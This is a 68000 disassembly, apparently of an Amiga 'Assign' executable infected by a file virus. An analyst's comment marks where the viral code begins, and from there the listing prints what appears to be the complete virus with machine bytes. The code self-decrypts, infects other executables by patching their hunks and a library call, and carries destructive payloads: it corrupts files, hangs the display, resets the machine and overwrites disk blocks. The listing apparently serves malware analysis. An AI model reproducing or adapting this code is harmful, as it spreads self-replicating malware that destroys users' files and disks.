MOVEA.L -108(A5),A0 ;06F4: 206DFF94
MOVE.L (A0),-104(A5) ;06F8: 2B50FF98
MOVEQ #16,D0 ;06FC: 7010
ADD.L 12(A0),D0 ;06FE: D0A8000C
MOVEA.L A0,A1 ;0702: 2248
MOVEA.L 52(A7),A6 ;0704: 2C6F0034
JSR -210(A6) ;0708: 4EAEFF2E
MOVE.L -104(A5),-108(A5) ;070C: 2B6DFF98FF94
LAB_004C:
TST.L -108(A5) ;0712: 4AADFF94
BNE.S LAB_004B ;0716: 66DC
MOVE.L -36(A5),D0 ;0718: 202DFFDC
BEQ.S LAB_004D ;071C: 670E
MOVE.L D0,D1 ;071E: 2200
LEA -84(A5),A0 ;0720: 41EDFFAC
MOVE.L A0,D2 ;0724: 2408
MOVEA.L A3,A6 ;0726: 2C4B
JSR -954(A6) ;0728: 4EAEFC46
LAB_004D:
MOVE.L 44(A7),D1 ;072C: 222F002C
MOVEA.L A3,A6 ;0730: 2C4B
JSR -858(A6) ;0732: 4EAEFCA6
MOVE.L D7,D1 ;0736: 2207
JSR -462(A6) ;0738: 4EAEFE32
MOVEA.L A3,A1 ;073C: 224B
MOVEA.L 52(A7),A6 ;073E: 2C6F0034
JSR -414(A6) ;0742: 4EAEFE62
BRA.S LAB_004F ;0746: 6012
LAB_004E:
MOVEA #$0004,A0 ;0748: 307C0004
MOVEA.L (A0),A1 ;074C: 2250
MOVEA.L 276(A1),A0 ;074E: 20690114
MOVEQ #122,D0 ;0752: 707A
MOVE.L D0,148(A0) ;0754: 21400094
MOVEQ #20,D5 ;0758: 7A14
LAB_004F:
TST.L D5 ;075A: 4A85
BNE.S LAB_0050 ;075C: 6606
TST.L D7 ;075E: 4A87
BEQ.S LAB_0050 ;0760: 6702
MOVEQ #20,D5 ;0762: 7A14
LAB_0050:
MOVE.L D5,D0 ;0764: 2005
MOVEM.L (A7)+,D2-D7/A2-A3/A6 ;0766: 4CDF4CFC
UNLK A5 ;076A: 4E5D
RTS ;076C: 4E75
;POSSIBLE START OF VIRUS
LAB_0051:
MOVEM.L D0-D7/A0-A6,-(A7) ;076E: 48E7FFFE
MOVE VHPOSR,D0 ;0772: 303900DFF006
AND #$000F,D0 ;0778: C07C000F
CMP #$0007,D0 ;077C: B07C0007
BNE.S LAB_0052 ;0780: 6602
BSR.S LAB_0054 ;0782: 610A
LAB_0052:
MOVEM.L (A7)+,D0-D7/A0-A6 ;0784: 4CDF7FFF
RTS ;0788: 4E75
LAB_0053:
JSR 0(A6) ;078A: 4EAE0000
LAB_0054:
MOVEM.L D0-D7/A0-A6,-(A7) ;078E: 48E7FFFE
MOVEA.L (ABSEXECBASE).W,A6 ;0792: 2C780004
BSR LAB_0065 ;0796: 61000114
MOVE LAB_005C(PC),D0 ;079A: 303A00BE
CMP #$0032,D0 ;079E: B07C0032
BLT.S LAB_0055 ;07A2: 6D14
LEA LAB_0062+2(PC),A0 ;07A4: 41FA00D4
MOVE.L #$62536649,D0 ;07A8: 203C62536649
ADDI.L #$03030303,D0 ;07AE: 068003030303
MOVE.L D0,24(A0) ;07B4: 21400018
LAB_0055:
MOVE #$4E75,-224(A1) ;07B8: 337C4E75FF20
MOVEQ #37,D0 ;07BE: 7025
JSR -552(A6) ;07C0: 4EAEFDD8
MOVE.L D0,D7 ;07C4: 2E00
BEQ.S LAB_0056 ;07C6: 6744
LEA LAB_005C+2(PC),A0 ;07C8: 41FA0092
MOVE.L D7,(A0) ;07CC: 2087
MOVEA.L D7,A0 ;07CE: 2047
MOVEA.L -148(A0),A0 ;07D0: 2068FF6C
CMPI.L #$3D385E29,-6(A0) ;07D4: 0CA83D385E29FFFA =8^)
BEQ.S LAB_0059 ;07DC: 6740
MOVE.L #$00002710,D0 ;07DE: 203C00002710
MOVEQ #0,D1 ;07E4: 7200
JSR -198(A6) ;07E6: 4EAEFF3A
TST.L D0 ;07EA: 4A80
BEQ.S LAB_0056 ;07EC: 671E
LEA LAB_005E(PC),A0 ;07EE: 41FA0070
MOVE.L D0,(A0) ;07F2: 2080
MOVE.L D0,D6 ;07F4: 2C00
LEA LAB_0053(PC),A0 ;07F6: 41FAFF92
MOVEA.L D6,A1 ;07FA: 2246
MOVE.L #$00002710,D0 ;07FC: 203C00002710
JSR -630(A6) ;0802: 4EAEFD8A
MOVEA.L D6,A0 ;0806: 2046
JMP 166(A0) ;0808: 4EE800A6
LAB_0056:
LEA LAB_0061(PC),A0 ;080C: 41FA0060
MOVEQ #46,D0 ;0810: 702E
LAB_0057:
CLR (A0)+ ;0812: 4258
SUBQ.L #2,D0 ;0814: 5580
BNE.S LAB_0057 ;0816: 66FA
LAB_0058:
MOVEM.L (A7)+,D0-D7/A0-A6 ;0818: 4CDF7FFF
RTS ;081C: 4E75
LAB_0059:
MOVE LAB_005C(PC),D0 ;081E: 303A003A
MOVE -120(A0),D1 ;0822: 3228FF88
CMP D1,D0 ;0826: B041
BLE.S LAB_0056 ;0828: 6FE2
MOVE D0,-120(A0) ;082A: 3140FF88
BRA.S LAB_0056 ;082E: 60DC
BSR.S LAB_0063+2 ;0830: 616C
LEA LAB_0054(PC),A0 ;0832: 41FAFF5A
MOVE #$48E7,(A0) ;0836: 30BC48E7
MOVEA.L D7,A1 ;083A: 2247
MOVEA.L #$FFFFFF6A,A0 ;083C: 207CFFFFFF6A
LAB_005A:
LEA LAB_006A(PC),A2 ;0842: 45FA008E
MOVE.L A2,D0 ;0846: 200A
JSR -420(A6) ;0848: 4EAEFE5C
TST.L D0 ;084C: 4A80
BEQ.S LAB_005B ;084E: 6708
LEA LAB_0060(PC),A0 ;0850: 41FA0016
MOVE.L D0,2(A0) ;0854: 21400002
LAB_005B:
BRA.S LAB_0058 ;0858: 60BE
LAB_005C:
ORI.B #$C0,D0 ;085A: 000000C0
CMPA (A0)+,A3 ;085E: B6D8
LAB_005E:
DC.W $00C1 ;0860
BLE.S LAB_005A+2 ;0862: 6FE0
LAB_005F:
DC.W $00C0 ;0864
DC.W $2B9D ;0866
LAB_0060:
JMP EXT_0005 ;0868: 4EF900F97FBC
LAB_0061:
ADD.B D2,D1 ;086E: D202
EXG D2,D3 ;0870: C543
ADD.B D4,D5 ;0872: DA04
ADD.B (A7)+,D2 ;0874: D41F
ADD.B D3,(A7)+ ;0876: D71F
LAB_0062:
AND D7,-25786(A5) ;0878: CF6D9B46
SUB A5,D6 ;087C: 9C4D
ROL.B #2,D1 ;087E: E519
DC.W $C40C ;0880
DC.W $D80A ;0882
ADDX -(A5),-(A1) ;0884: D34D
DC.W $F719 ;0886
ADDX.B D2,D5 ;0888: DB02
AND.B D2,(A5)+ ;088A: C51D
DC.W $DE08 ;088C
DC.W $C408 ;088E
DC.W $9636 ;0890
ADD.B D0,-(A2) ;0892: D122
DC.W $F909 ;0894
LSL #5,D5 ;0896: EB4D
SUB D6,D6 ;0898: 9C46
DC.W $9B6D ;089A
LAB_0063:
CMP 16890(A5),D3 ;089C: B66D41FA
DC.W $FFFC ;08A0
MOVE VHPOSR,D0 ;08A2: 303900DFF006
MOVE D0,(A0) ;08A8: 3080
BRA.S LAB_0066 ;08AA: 6004
LAB_0065:
MOVE LAB_0063(PC),D0 ;08AC: 303AFFEE
LAB_0066:
LEA LAB_0061(PC),A0 ;08B0: 41FAFFBC
MOVEA.L A0,A1 ;08B4: 2248
MOVEQ #46,D1 ;08B6: 722E
LAB_0067:
EOR D0,(A0)+ ;08B8: B158
SUBQ.L #2,D1 ;08BA: 5581
BNE.S LAB_0067 ;08BC: 66FA
RTS ;08BE: 4E75
LAB_0068:
MOVE.L A0,-(A7) ;08C0: 2F08
LEA LAB_005F(PC),A0 ;08C2: 41FAFFA0
MOVE.L D1,(A0) ;08C6: 2081
MOVEA.L (A7)+,A0 ;08C8: 205F
RTS ;08CA: 4E75
LAB_0069:
DC.W $3D38 ;08CC
ADDQ.B #7,0(A1) ;08CE: 5E290000
LAB_006A:
BSR.S LAB_0068 ;08D2: 61EC
BSR.S LAB_0060 ;08D4: 6192
TST.L D0 ;08D6: 4A80
BEQ.S LAB_006E ;08D8: 6734
MOVEM.L D0-D7/A0-A6,-(A7) ;08DA: 48E7FFFE
MOVEA.L LAB_005F(PC),A0 ;08DE: 207AFF84
CMPI.B #$76,(A0) ;08E2: 0C100076
BEQ.S LAB_006D ;08E6: 6722
CMPI.B #$56,(A0) ;08E8: 0C100056
BEQ.S LAB_006D ;08EC: 671C
LAB_006B:
CMPI.B #$2E,(A0) ;08EE: 0C10002E
BNE.S LAB_006C ;08F2: 6610
CMPI.B #$6C,1(A0) ;08F4: 0C28006C0001
BNE.S LAB_006C ;08FA: 6608
CMPI.B #$4C,1(A0) ;08FC: 0C28004C0001
BEQ.S LAB_006D ;0902: 6706
LAB_006C:
TST.B (A0)+ ;0904: 4A18
BNE.S LAB_006B ;0906: 66E6
BSR.S LAB_006F ;0908: 6106
LAB_006D:
MOVEM.L (A7)+,D0-D7/A0-A6 ;090A: 4CDF7FFF
LAB_006E:
RTS ;090E: 4E75
LAB_006F:
MOVEA.L LAB_005C+2(PC),A6 ;0910: 2C7AFF4A
MOVE.L LAB_005F(PC),D1 ;0914: 223AFF4E
MOVEQ #-2,D2 ;0918: 74FE
JSR -84(A6) ;091A: 4EAEFFAC
MOVE.L D0,D7 ;091E: 2E00
BEQ.S LAB_006E ;0920: 67EC
MOVEA.L LAB_005E(PC),A5 ;0922: 2A7AFF3C
ADDA.L #$00000FA0,A5 ;0926: DBFC00000FA0
MOVE.L A5,D2 ;092C: 240D
MOVE.L D7,D1 ;092E: 2207
JSR -114(A6) ;0930: 4EAEFF8E
MOVE.L A5,D2 ;0934: 240D
MOVE.L D7,D1 ;0936: 2207
ADDI.L #$000003E8,D2 ;0938: 0682000003E8
JSR -102(A6) ;093E: 4EAEFF9A
MOVE.L D7,D1 ;0942: 2207
JSR -90(A6) ;0944: 4EAEFFA6
MOVEA.L A5,A0 ;0948: 204D
CMPI #$0052,10(A0) ;094A: 0C680052000A
BNE LAB_006E ;0950: 6600FFBC
MOVE.L 12(A0),D0 ;0954: 2028000C
MOVE.L D0,D2 ;0958: 2400
MOVE.L 16(A0),D1 ;095A: 22280010
SUB.L D1,D0 ;095E: 9081
CMP.L #$00000004,D0 ;0960: B0BC00000004
BLE.S LAB_006E ;0966: 6FA6
ADDA.L #$000003E8,A5 ;0968: DBFC000003E8
MOVE.L 124(A5),D0 ;096E: 202D007C
CMP.L #$00000A28,D0 ;0972: B0BC00000A28
BLE LAB_006E ;0978: 6F00FF94
CMP.L #$00001770,D2 ;097C: B4BC00001770
BGT.S LAB_0070 ;0982: 6E0C
CMP.L #$00007530,D0 ;0984: B0BC00007530
BGT LAB_006E ;098A: 6E00FF82
BRA.S LAB_0071 ;098E: 600A
LAB_0070:
CMP.L #$00046CD0,D0 ;0990: B0BC00046CD0
BGT LAB_006E ;0996: 6E00FF76
LAB_0071:
MOVE.L A6,-(A7) ;099A: 2F0E
MOVEA.L (ABSEXECBASE).W,A6 ;099C: 2C780004
MOVE.L 124(A5),D0 ;09A0: 202D007C
MOVEQ #0,D1 ;09A4: 7200
JSR -198(A6) ;09A6: 4EAEFF3A
MOVEA.L (A7)+,A6 ;09AA: 2C5F
MOVE.L D0,D7 ;09AC: 2E00
BEQ LAB_006E ;09AE: 6700FF5E
MOVE.L LAB_005F(PC),D1 ;09B2: 223AFEB0
MOVE.L #$000003ED,D2 ;09B6: 243C000003ED
JSR -30(A6) ;09BC: 4EAEFFE2
MOVE.L D0,D1 ;09C0: 2200
BEQ LAB_0075 ;09C2: 670000DA
MOVE.L D0,D6 ;09C6: 2C00
MOVE.L D7,D2 ;09C8: 2407
MOVE.L 124(A5),D3 ;09CA: 262D007C
JSR -42(A6) ;09CE: 4EAEFFD6
MOVE.L D6,D1 ;09D2: 2206
JSR -36(A6) ;09D4: 4EAEFFDC
BSR LAB_0076 ;09D8: 610000D4
MOVEA.L D7,A0 ;09DC: 2047
CMPI #$03F3,2(A0) ;09DE: 0C6803F30002
BNE LAB_0075 ;09E4: 660000B8
MOVE.L 20(A0),D0 ;09E8: 20280014
ANDI.L #$00FFFFFF,D0 ;09EC: 028000FFFFFF
ADDI.L #$00000134,20(A0) ;09F2: 06A8000001340014
LAB_0072:
CMPI #$03E9,(A0)+ ;09FA: 0C5803E9
BNE.S LAB_0072 ;09FE: 66FA
CMP.L (A0),D0 ;0A00: B090
BNE LAB_0075 ;0A02: 6600009A
ADDI.L #$00000134,(A0) ;0A06: 069000000134
ADDQ.L #4,A0 ;0A0C: 5888
MOVEA.L A0,A4 ;0A0E: 2848
LSL.L #2,D0 ;0A10: E588
ADDA.L D0,A0 ;0A12: D1C0
CMPI.L #$01080402,-4(A0) ;0A14: 0CA801080402FFFC
BEQ LAB_0075 ;0A1C: 67000080
MOVEA.L A0,A3 ;0A20: 2648
MOVEA.L A4,A0 ;0A22: 204C
LAB_0073:
CMPI #$4EAE,(A0)+ ;0A24: 0C584EAE
BEQ.S LAB_0074 ;0A28: 6706
SUBQ.L #2,D0 ;0A2A: 5580
BNE.S LAB_0073 ;0A2C: 66F6
BRA.S LAB_0075 ;0A2E: 606E
LAB_0074:
MOVE (A0),D6 ;0A30: 3C10
SUBQ.L #2,A0 ;0A32: 5588
MOVE.L A3,D0 ;0A34: 200B
SUB.L A0,D0 ;0A36: 9088
CMP.L #$00007FF0,D0 ;0A38: B0BC00007FF0
BGT LAB_0075 ;0A3E: 6E00005E
MOVE #$4EBA,(A0)+ ;0A42: 30FC4EBA
SUBQ.L #2,D0 ;0A46: 5580
MOVE D0,(A0) ;0A48: 3080
LEA LAB_0053(PC),A0 ;0A4A: 41FAFD3E
MOVE D6,2(A0) ;0A4E: 31460002
LEA LAB_005C(PC),A0 ;0A52: 41FAFE06
ADDQ #1,(A0) ;0A56: 5250
MOVE.L LAB_005F(PC),D1 ;0A58: 223AFE0A
MOVE.L #$000003EE,D2 ;0A5C: 243C000003EE
JSR -30(A6) ;0A62: 4EAEFFE2
MOVE.L D0,D6 ;0A66: 2C00
BEQ.S LAB_0075 ;0A68: 6734
MOVE.L D6,D1 ;0A6A: 2206
MOVE.L D7,D2 ;0A6C: 2407
MOVE.L A3,D3 ;0A6E: 260B
SUB.L D7,D3 ;0A70: 9687
JSR -48(A6) ;0A72: 4EAEFFD0
MOVE.L D6,D1 ;0A76: 2206
LEA LAB_0053(PC),A0 ;0A78: 41FAFD10
MOVE.L A0,D2 ;0A7C: 2408
MOVE.L #$000004D0,D3 ;0A7E: 263C000004D0
JSR -48(A6) ;0A84: 4EAEFFD0
MOVE.L D6,D1 ;0A88: 2206
MOVE.L A3,D2 ;0A8A: 240B
MOVE.L 124(A5),D3 ;0A8C: 262D007C
ADD.L D7,D3 ;0A90: D687
SUB.L A3,D3 ;0A92: 968B
JSR -48(A6) ;0A94: 4EAEFFD0
MOVE.L D6,D1 ;0A98: 2206
JSR -36(A6) ;0A9A: 4EAEFFDC
LAB_0075:
MOVEA.L (ABSEXECBASE).W,A6 ;0A9E: 2C780004
MOVEA.L D7,A1 ;0AA2: 2247
MOVE.L 124(A5),D0 ;0AA4: 202D007C
JSR -210(A6) ;0AA8: 4EAEFF2E
RTS ;0AAC: 4E75
LAB_0076:
MOVEM.L D0-D7/A0-A6,-(A7) ;0AAE: 48E7FFFE
MOVEQ #0,D0 ;0AB2: 7000
MOVE VHPOSR,D0 ;0AB4: 303900DFF006
ANDI #$000F,D0 ;0ABA: 0240000F
CMP #$0007,D0 ;0ABE: B07C0007
BNE.S LAB_0077 ;0AC2: 663A
MOVE LAB_005C(PC),D0 ;0AC4: 303AFD94
CMP #$003C,D0 ;0AC8: B07C003C
BGE.S LAB_0078 ;0ACC: 6C36
CMP #$0032,D0 ;0ACE: B07C0032
BLT.S LAB_0077 ;0AD2: 6D2A
MOVEA.L D7,A0 ;0AD4: 2047
CLR.L (A0) ;0AD6: 4290
MOVE.L LAB_005F(PC),D1 ;0AD8: 223AFD8A
MOVE.L #$000003EE,D2 ;0ADC: 243C000003EE
JSR -30(A6) ;0AE2: 4EAEFFE2
MOVE.L D0,D6 ;0AE6: 2C00
BEQ.S LAB_0077 ;0AE8: 6714
MOVE.L D6,D1 ;0AEA: 2206
LEA LAB_0053(PC),A0 ;0AEC: 41FAFC9C
MOVE.L A0,D2 ;0AF0: 2408
MOVEQ #10,D3 ;0AF2: 760A
JSR -48(A6) ;0AF4: 4EAEFFD0
MOVE.L D6,D1 ;0AF8: 2206
JSR -36(A6) ;0AFA: 4EAEFFDC
LAB_0077:
MOVEM.L (A7)+,D0-D7/A0-A6 ;0AFE: 4CDF7FFF
RTS ;0B02: 4E75
LAB_0078:
MOVE.L 124(A5),D0 ;0B04: 202D007C
CMP.L #$00002710,D0 ;0B08: B0BC00002710
BGE.S LAB_007A ;0B0E: 6C3A
LEA LAB_007D(PC),A0 ;0B10: 41FA0098
MOVE.L A0,D6 ;0B14: 2C08
BSR.S LAB_007B ;0B16: 6146
LEA LAB_0069(PC),A0 ;0B18: 41FAFDB2
MOVE.L A0,D1 ;0B1C: 2208
MOVE.L #$000003EE,D2 ;0B1E: 243C000003EE
JSR -30(A6) ;0B24: 4EAEFFE2
MOVE.L D0,D6 ;0B28: 2C00
LAB_0079:
MOVE.L D6,D1 ;0B2A: 2206
LEA LAB_0053(PC),A0 ;0B2C: 41FAFC5C
MOVE.L A0,D2 ;0B30: 2408
MOVEQ #10,D3 ;0B32: 760A
JSR -48(A6) ;0B34: 4EAEFFD0
MOVEQ #3,D1 ;0B38: 7203
JSR -198(A6) ;0B3A: 4EAEFF3A
MOVE VHPOSR,COLOR00 ;0B3E: 33F900DFF00600DFF180
BRA.S LAB_0079 ;0B48: 60E0
LAB_007A:
LEA LAB_0080(PC),A0 ;0B4A: 41FA00AE
MOVE.L A0,D6 ;0B4E: 2C08
BSR.S LAB_007B ;0B50: 610C
JMP EXT_0006 ;0B52: 4EF900FC0000
RESET ;0B58: 4E70
DC.W $FFFF ;0B5A
DC.W $FFFF ;0B5C
LAB_007B:
MOVEM.L D0-D7/A0-A6,-(A7) ;0B5E: 48E7FFFE
MOVEA.L (ABSEXECBASE).W,A6 ;0B62: 2C780004
MOVEQ #2,D1 ;0B66: 7202
MOVE.L #$000001F4,D0 ;0B68: 203C000001F4
JSR -198(A6) ;0B6E: 4EAEFF3A
MOVE.L D0,D7 ;0B72: 2E00
MOVEA.L D0,A1 ;0B74: 2240
MOVEA.L D6,A0 ;0B76: 2046
MOVE.L #$000001F4,D0 ;0B78: 203C000001F4
JSR -630(A6) ;0B7E: 4EAEFD8A
MOVEA.L D7,A1 ;0B82: 2247
MOVE.L #$000001F4,D0 ;0B84: 203C000001F4
JSR -204(A6) ;0B8A: 4EAEFF34
MOVE.L D7,46(A6) ;0B8E: 2D47002E
LEA 34(A6),A0 ;0B92: 41EE0022
CLR D0 ;0B96: 4240
MOVEQ #23,D7 ;0B98: 7E17
LAB_007C:
ADD (A0)+,D0 ;0B9A: D058
DBF D7,LAB_007C ;0B9C: 51CFFFFC
NOT D0 ;0BA0: 4640
MOVE D0,(A0) ;0BA2: 3080
MOVEM.L (A7)+,D0-D7/A0-A6 ;0BA4: 4CDF7FFF
RTS ;0BA8: 4E75
LAB_007D:
LEA HARDBASE,A5 ;0BAA: 4BF900DFF000
MOVE.L #$7FFF7FFF,150(A5) ;0BB0: 2B7C7FFF7FFF0096
MOVE #$8280,150(A5) ;0BB8: 3B7C82800096
MOVE #$C000,154(A5) ;0BBE: 3B7CC000009A
LEA LAB_007F(PC),A0 ;0BC4: 41FA0018
MOVE.L A0,128(A5) ;0BC8: 2B480080
MOVE D0,136(A5) ;0BCC: 3B400088
MOVE #$0000,508(A5) ;0BD0: 3B7C000001FC
MOVE #$0C00,262(A5) ;0BD6: 3B7C0C000106
LAB_007E:
BRA.S LAB_007E ;0BDC: 60FE
LAB_007F:
BCLR D0,D0 ;0BDE: 0180
DC.W $0000 ;0BE0
BCLR D0,D2 ;0BE2: 0182
DC.W $0000 ;0BE4
MOVEQ #7,D0 ;0BE6: 7007
DC.W $FFFE ;0BE8
BCLR D0,D0 ;0BEA: 0180
BTST D7,D0 ;0BEC: 0F00
ADDX.B D7,D2 ;0BEE: D507
DC.W $FFFE ;0BF0
BCLR D0,D0 ;0BF2: 0180
DC.W $0FF0 ;0BF4
DC.W $FFFF ;0BF6
DC.W $FFFE ;0BF8
LAB_0080:
MOVEA.L (ABSEXECBASE).W,A6 ;0BFA: 2C780004
MOVE.L -454(A6),D0 ;0BFE: 202EFE3A
LEA LAB_0083(PC),A0 ;0C02: 41FA004C
MOVE.L D0,2(A0) ;0C06: 21400002
LEA LAB_0081(PC),A0 ;0C0A: 41FA0008
MOVE.L A0,-454(A6) ;0C0E: 2D48FE3A
RTS ;0C12: 4E75
LAB_0081:
CMPI #$0002,28(A1) ;0C14: 0C690002001C
BNE.S LAB_0083 ;0C1A: 6634
TST.L 44(A1) ;0C1C: 4AA9002C
BNE.S LAB_0083 ;0C20: 662E
MOVEQ #0,D7 ;0C22: 7E00
LAB_0082:
MOVE #$0003,28(A1) ;0C24: 337C0003001C
LEA LAB_0080(PC),A5 ;0C2A: 4BFAFFCE
MOVE.L A5,40(A1) ;0C2E: 234D0028
MOVE.L D7,36(A1) ;0C32: 23470024
MOVE.L D7,44(A1) ;0C36: 2347002C
JSR -456(A6) ;0C3A: 4EAEFE38
MOVE #$0004,28(A1) ;0C3E: 337C0004001C
JSR -456(A6) ;0C44: 4EAEFE38
ADDI.L #$00000400,D7 ;0C48: 068700000400
BRA.S LAB_0082 ;0C4E: 60D4
LAB_0083:
JMP EXT_0000 ;0C50: 4EF900000000
MOVEP 1026(A0),D0 ;0C56: 01080402
LAB_0084:
DC.W $646F ;0C5A
DC.W $732E ;0C5C
DC.W $6C69 ;0C5E
BHI.S LAB_0086 ;0C60: 6272
BSR.S LAB_0086+2 ;0C62: 6172
DC.W $7900 ;0C64
LAB_0085:
TRAP #1 ;0C66: 4E41
DC.W $4D45 ;0C68
MOVEA.L (A4),A6 ;0C6A: 2C54
DC.W $4152 ;0C6C
DC.W $4745 ;0C6E
ADDQ.B #2,19756(A7) ;0C70: 542F4D2C
DC.W $4C49 ;0C74
SUBQ #1,(A4) ;0C76: 5354
DC.W $2F53 ;0C78
MOVEA.L D5,A6 ;0C7A: 2C45
ADDQ #4,A1 ;0C7C: 5849
SUBQ #1,(A4) ;0C7E: 5354
SUBQ.B #1,21292(A7) ;0C80: 532F532C
DC.W $4449 ;0C84
SUBQ #1,A5 ;0C86: 534D
DC.W $4F55 ;0C88
DC.W $4E54 ;0C8A
MOVE.L (A3),11332(A7) ;0C8C: 2F532C44
DC.W $4546 ;0C90
DC.W $4552 ;0C92
MOVE.L (A3),11344(A7) ;0C94: 2F532C50
DC.W $4154 ;0C98
NBCD 21292(A7) ;0C9A: 482F532C
DC.W $4144 ;0C9E
NEG.B 21292(A7) ;0CA0: 442F532C
ADDQ #1,D5 ;0CA4: 5245
DC.W $4D4F ;0CA6
ADDQ #3,D5 ;0CA8: 5645
MOVE.L (A3),11350(A7) ;0CAA: 2F532C56
DC.W $4F4C ;0CAE
SUBQ.B #1,21292(A7) ;0CB0: 532F532C
DC.W $4449 ;0CB4
ADDQ #1,(A3) ;0CB6: 5253
MOVE.L (A3),11332(A7) ;0CB8: 2F532C44
DC.W $4556 ;0CBC
DC.W $4943 ;0CBE
DC.W $4553 ;0CC0
MOVE.L (A3),36(A7) ;0CC2: 2F530024
ADDQ #3,D5 ;0CC6: 5645
DC.W $523A ;0CC8
MOVEA.L -(A1),A0 ;0CCA: 2061
DC.W $7373 ;0CCC
DC.W $6967 ;0CCE
BGT.S LAB_0089 ;0CD0: 6E20
DC.W $3337 ;0CD2
LAB_0086:
MOVE.L 40(A5,D2.W),D7 ;0CD4: 2E352028
DC.W $3230 ;0CD8
DC.W $2E35 ;0CDA
DC.W $2E39 ;0CDC
DC.W $3229 ;0CDE
DC.W $0A0D ;0CE0
DC.W $0000 ;0CE2
LAB_0088:
DC.W $496E ;0CE4
MOVEQ #97,D3 ;0CE6: 7661
DC.W $6C69 ;0CE8
BCC.S LAB_008B+2 ;0CEA: 6420
DC.W $6465 ;0CEC
MOVEQ #105,D3 ;0CEE: 7669
DC.W $6365 ;0CF0
LAB_0089:
DC.W $206E ;0CF2
DC.W $616D ;0CF4
BCS.S LAB_008C ;0CF6: 6520
DC.W $2573 ;0CF8
DC.W $0A00 ;0CFA
LAB_008A:
DC.W $4F6E ;0CFC
DC.W $6C79 ;0CFE
DC.W $206F ;0D00
DC.W $6E65 ;0D02
MOVEA.L 26144(A7),A0 ;0D04: 206F6620
DC.W $4144 ;0D08
LAB_008B:
NEG.B 8275(A4) ;0D0A: 442C2053
SUBQ #2,D2 ;0D0E: 5542
MOVE.L -(A0),D6 ;0D10: 2C20
ADDQ #8,D1 ;0D12: 5041
ADDQ #2,A0 ;0D14: 5448
MOVE.L -(A0),D6 ;0D16: 2C20
LAB_008C:
BLE.S LAB_0092 ;0D18: 6F72
MOVEA.L D4,A0 ;0D1A: 2044
DC.W $4546 ;0D1C
DC.W $4552 ;0D1E
MOVEA.L -(A1),A0 ;0D20: 2061
BGE.S LAB_0094 ;0D22: 6C6C
DC.W $6F77 ;0D24
BCS.S LAB_0092 ;0D26: 6564
DC.W $0A00 ;0D28
LAB_008D:
DC.W $4361 ;0D2A
DC.W $6E27 ;0D2C
MOVEQ #32,D2 ;0D2E: 7420
DC.W $6173 ;0D30
DC.W $7369 ;0D32
BEQ.S LAB_0097 ;0D34: 676E
MOVE.L -(A5),D0 ;0D36: 2025
DC.W $730A ;0D38
DC.W $0000 ;0D3A
LAB_008E:
DC.W $4361 ;0D3C
DC.W $6E27 ;0D3E
MOVEQ #32,D2 ;0D40: 7420
DC.W $6669 ;0D42
BGT.S LAB_0098+2 ;0D44: 6E64
MOVE.L -(A5),D0 ;0D46: 2025
DC.W $730A ;0D48
DC.W $0000 ;0D4A
LAB_008F:
DC.W $4361 ;0D4C
DC.W $6E27 ;0D4E
MOVEQ #32,D2 ;0D50: 7420
DC.W $7375 ;0D52
BHI.S LAB_009D ;0D54: 6274
MOVEQ #97,D1 ;0D56: 7261
BLS.S LAB_009E ;0D58: 6374
MOVE.L -(A5),D0 ;0D5A: 2025
DC.W $7320 ;0D5C
BNE.S LAB_009F ;0D5E: 6672
DC.W $6F6D ;0D60
MOVE.L -(A5),D0 ;0D62: 2025
DC.W $730A ;0D64
DC.W $0000 ;0D66
LAB_0090:
DC.W $4361 ;0D68
DC.W $6E27 ;0D6A
MOVEQ #32,D2 ;0D6C: 7420
BSR.S LAB_00A0 ;0D6E: 6164
BCC.S LAB_0095 ;0D70: 6420
MOVE.L 116(A3,D2.W),28448(A2) ;0D72: 257320746F20
DC.W $2573 ;0D78
DC.W $0A00 ;0D7A
LAB_0091:
DC.W $4361 ;0D7C
DC.W $6E27 ;0D7E
MOVEQ #32,D2 ;0D80: 7420
DC.W $6361 ;0D82
DC.W $6E63 ;0D84
BCS.S LAB_00A7 ;0D86: 656C
MOVE.L -(A5),D0 ;0D88: 2025
DC.W $730A ;0D8A
LAB_0092:
DC.W $0000 ;0D8C
LAB_0093:
DC.W $566F ;0D8E
LAB_0094:
DC.W $6C75 ;0D90
LAB_0095:
DC.W $6D65 ;0D92
DC.W $733A ;0D94
DC.W $0A00 ;0D96
LAB_0096:
EORI #$6972,D4 ;0D98: 0A446972
DC.W $6563 ;0D9C
MOVEQ #111,D2 ;0D9E: 746F
MOVEQ #105,D1 ;0DA0: 7269
DC.W $6573 ;0DA2
LAB_0097:
MOVE A2,D5 ;0DA4: 3A0A
DC.W $0000 ;0DA6
LAB_0098:
EORI #$6576,D4 ;0DA8: 0A446576
DC.W $6963 ;0DAC
DC.W $6573 ;0DAE
MOVE A2,D5 ;0DB0: 3A0A
DC.W $0000 ;0DB2
LAB_009A:
MOVEA.L (A3)+,A0 ;0DB4: 205B
DC.W $4D6F ;0DB6
DC.W $756E ;0DB8
MOVEQ #101,D2 ;0DBA: 7465
DC.W $645D ;0DBC
DC.W $0A00 ;0DBE
LAB_009B:
DC.W $0A00 ;0DC0
LAB_009C:
MOVE.L -(A0),D0 ;0DC2: 2020
MOVE.L -(A0),D0 ;0DC4: 2020
MOVE.L -(A0),D0 ;0DC6: 2020
MOVE.L -(A0),D0 ;0DC8: 2020
LAB_009D:
MOVE.L -(A0),D0 ;0DCA: 2020
MOVE.L -(A0),D0 ;0DCC: 2020
LAB_009E:
MOVE.L -(A0),D0 ;0DCE: 2020
MOVE.L D0,D0 ;0DD0: 2000
LAB_009F:
MOVE.L -(A0),D0 ;0DD2: 2020
LAB_00A0:
MOVE.L -(A0),D0 ;0DD4: 2020
MOVE.L -(A0),D0 ;0DD6: 2020
MOVE.L -(A0),D0 ;0DD8: 2020
MOVE.L -(A0),D0 ;0DDA: 2020
MOVE.L -(A0),D0 ;0DDC: 2020
MOVE.L 8192(A3),D0 ;0DDE: 202B2000
LAB_00A1:
MOVE D0,D6 ;0DE2: 3C00
LAB_00A2:
MOVE A2,D7 ;0DE4: 3E0A
DC.W $0000 ;0DE6
LAB_00A3:
SUBQ.B #5,D0 ;0DE8: 5B00
LAB_00A4:
DC.W $5D0A ;0DEA
DC.W $0000 ;0DEC
LAB_00A5:
MOVE.L D0,D0 ;0DEE: 2000
LAB_00A6:
DC.W $2573 ;0DF0
MOVE -(A0),D5 ;0DF2: 3A20
LAB_00A7:
DC.W $6E6F ;0DF4
MOVEQ #32,D2 ;0DF6: 7420
DC.W $6173 ;0DF8
DC.W $7369 ;0DFA
BEQ.S LAB_00AF ;0DFC: 676E
BCS.S LAB_00AE ;0DFE: 6564
DC.W $0A00 ;0E00
LAB_00A8:
